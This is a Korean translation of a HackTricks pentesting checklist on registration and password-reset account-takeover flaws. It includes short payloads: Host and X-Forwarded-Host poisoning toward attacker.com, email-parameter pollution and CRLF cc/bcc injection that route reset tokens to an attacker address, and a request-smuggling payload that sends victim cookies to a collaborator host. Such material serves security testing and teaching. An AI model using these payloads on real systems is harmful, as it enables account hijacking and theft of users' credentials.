hacktricks/pentesting-web/registration-vulnerabilities.md

11 KiB

등록 및 인수 취약점

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}

WhiteIntel

WhiteIntel다크 웹 기반의 검색 엔진으로, 기업이나 고객이 정보 유출로 인해 위험에 처했는지 확인할 수 있는 무료 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보 유출 악성코드로 인한 계정 인수 및 랜섬웨어 공격을 방지하는 것입니다.

그들의 웹사이트를 확인하고 무료로 엔진을 사용해 보세요:

{% embed url="https://whiteintel.io" %}


등록 인수

중복 등록

  • 기존 사용자 이름을 사용하여 생성 시도
  • 이메일 변형 확인:
  • 대문자
  • +1@
  • 이메일에 점 추가
  • 이메일 이름에 특수 문자 (%00, %09, %20)
  • 이메일 뒤에 검은 문자 추가: test@test.com a
  • victim@gmail.com@attacker.com
  • victim@attacker.com@gmail.com

사용자 이름 열거

애플리케이션 내에서 사용자 이름이 이미 등록되었는지 확인합니다.

비밀번호 정책

사용자 생성 시 비밀번호 정책 확인 (약한 비밀번호 사용 가능 여부 확인).
이 경우 자격 증명을 무작위 대입 시도할 수 있습니다.

SQL 인젝션

이 페이지를 확인하세요 계정 인수 시도 또는 등록 양식에서 SQL 인젝션을 통해 정보 추출 방법을 배우세요.

Oauth 인수

{% content-ref url="oauth-to-account-takeover.md" %} oauth-to-account-takeover.md {% endcontent-ref %}

SAML 취약점

{% content-ref url="saml-attacks/" %} saml-attacks {% endcontent-ref %}

이메일 변경

등록 후 이메일을 변경해보고 이 변경이 올바르게 검증되는지 또는 임의의 이메일로 변경할 수 있는지 확인합니다.

추가 확인 사항

  • 일회용 이메일 사용 가능 여부 확인
  • 비밀번호 (>200)는 DoS로 이어짐
  • 계정 생성 시 속도 제한 확인
  • username@burp_collab.net 사용 및 콜백 분석

비밀번호 재설정 인수

참조자를 통한 비밀번호 재설정 토큰 유출

  1. 비밀번호 재설정을 위해 이메일 주소 요청
  2. 비밀번호 재설정 링크 클릭
  3. 비밀번호 변경하지 않음
  4. 3자 웹사이트 클릭 (예: Facebook, Twitter)
  5. Burp Suite 프록시에서 요청 가로채기
  6. referer 헤더가 비밀번호 재설정 토큰을 유출하는지 확인합니다.

비밀번호 재설정 오염

  1. Burp Suite에서 비밀번호 재설정 요청 가로채기
  2. Burp Suite에서 다음 헤더 추가 또는 수정: Host: attacker.com, X-Forwarded-Host: attacker.com
  3. 수정된 헤더로 요청 전달
    http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com
  4. _host 헤더_를 기반으로 한 비밀번호 재설정 URL 찾기: https://attacker.com/reset-password.php?token=TOKEN

이메일 매개변수를 통한 비밀번호 재설정

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

IDOR on API Parameters

  1. 공격자는 자신의 계정으로 로그인하고 비밀번호 변경 기능으로 이동해야 합니다.
  2. Burp Suite를 시작하고 요청을 가로챕니다.
  3. 반복기 탭으로 보내고 매개변수를 편집합니다: 사용자 ID/이메일
    powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})

Weak Password Reset Token

비밀번호 재설정 토큰은 매번 무작위로 생성되고 고유해야 합니다.
토큰이 만료되는지 또는 항상 동일한지 확인하십시오. 경우에 따라 생성 알고리즘이 약하고 추측할 수 있습니다. 다음 변수들이 알고리즘에 사용될 수 있습니다.

  • 타임스탬프
  • 사용자 ID
  • 사용자 이메일
  • 이름과 성
  • 생년월일
  • 암호화
  • 숫자만
  • 작은 토큰 시퀀스 (문자 [A-Z,a-z,0-9] 사이)
  • 토큰 재사용
  • 토큰 만료 날짜

Leaking Password Reset Token

  1. 특정 이메일을 사용하여 API/UI를 통해 비밀번호 재설정 요청을 트리거합니다. 예: test@mail.com
  2. 서버 응답을 검사하고 resetToken을 확인합니다.
  3. 그런 다음 URL에서 토큰을 사용합니다: https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]

Password Reset Via Username Collision

  1. 피해자의 사용자 이름과 동일한 사용자 이름으로 시스템에 등록하되, 사용자 이름 앞뒤에 공백을 삽입합니다. 예: "admin "
  2. 악의적인 사용자 이름으로 비밀번호 재설정을 요청합니다.
  3. 이메일로 전송된 토큰을 사용하여 피해자의 비밀번호를 재설정합니다.
  4. 새 비밀번호로 피해자 계정에 연결합니다.

플랫폼 CTFd는 이 공격에 취약했습니다.
참조: CVE-2020-7245

Account Takeover Via Cross Site Scripting

  1. 애플리케이션 내 또는 쿠키가 상위 도메인에 범위가 지정된 경우 서브도메인에서 XSS를 찾습니다: *.domain.com
  2. 현재 세션 쿠키를 유출합니다.
  3. 쿠키를 사용하여 사용자로 인증합니다.

Account Takeover Via HTTP Request Smuggling

1. smuggler를 사용하여 HTTP 요청 밀반입 유형을 감지합니다 (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h
2. 다음 데이터를 사용하여 POST / HTTP/1.1를 덮어쓸 요청을 작성합니다:
GET http://something.burpcollaborator.net HTTP/1.1 X: 피해자를 burpcollab로 리디렉션하고 쿠키를 훔치는 것이 목표입니다.
3. 최종 요청은 다음과 같을 수 있습니다.

GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0

GET http://something.burpcollaborator.net  HTTP/1.1
X: X

Hackerone 보고서에서 이 버그를 악용한 사례
* https://hackerone.com/reports/737140
* https://hackerone.com/reports/771666

CSRF를 통한 계정 탈취

  1. CSRF를 위한 페이로드 생성, 예: “비밀번호 변경을 위한 자동 제출 HTML 양식”
  2. 페이로드 전송

JWT를 통한 계정 탈취

JSON Web Token은 사용자를 인증하는 데 사용될 수 있습니다.

  • 다른 사용자 ID / 이메일로 JWT 수정
  • 약한 JWT 서명 확인

{% content-ref url="hacking-jwt-json-web-tokens.md" %} hacking-jwt-json-web-tokens.md {% endcontent-ref %}

참고자료

WhiteIntel

WhiteIntel다크웹 기반의 검색 엔진으로, 기업이나 고객이 탈취 악성코드에 의해 침해되었는지 확인하는 무료 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.

그들의 웹사이트를 확인하고 무료로 엔진을 사용해 볼 수 있습니다:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기
{% endhint %}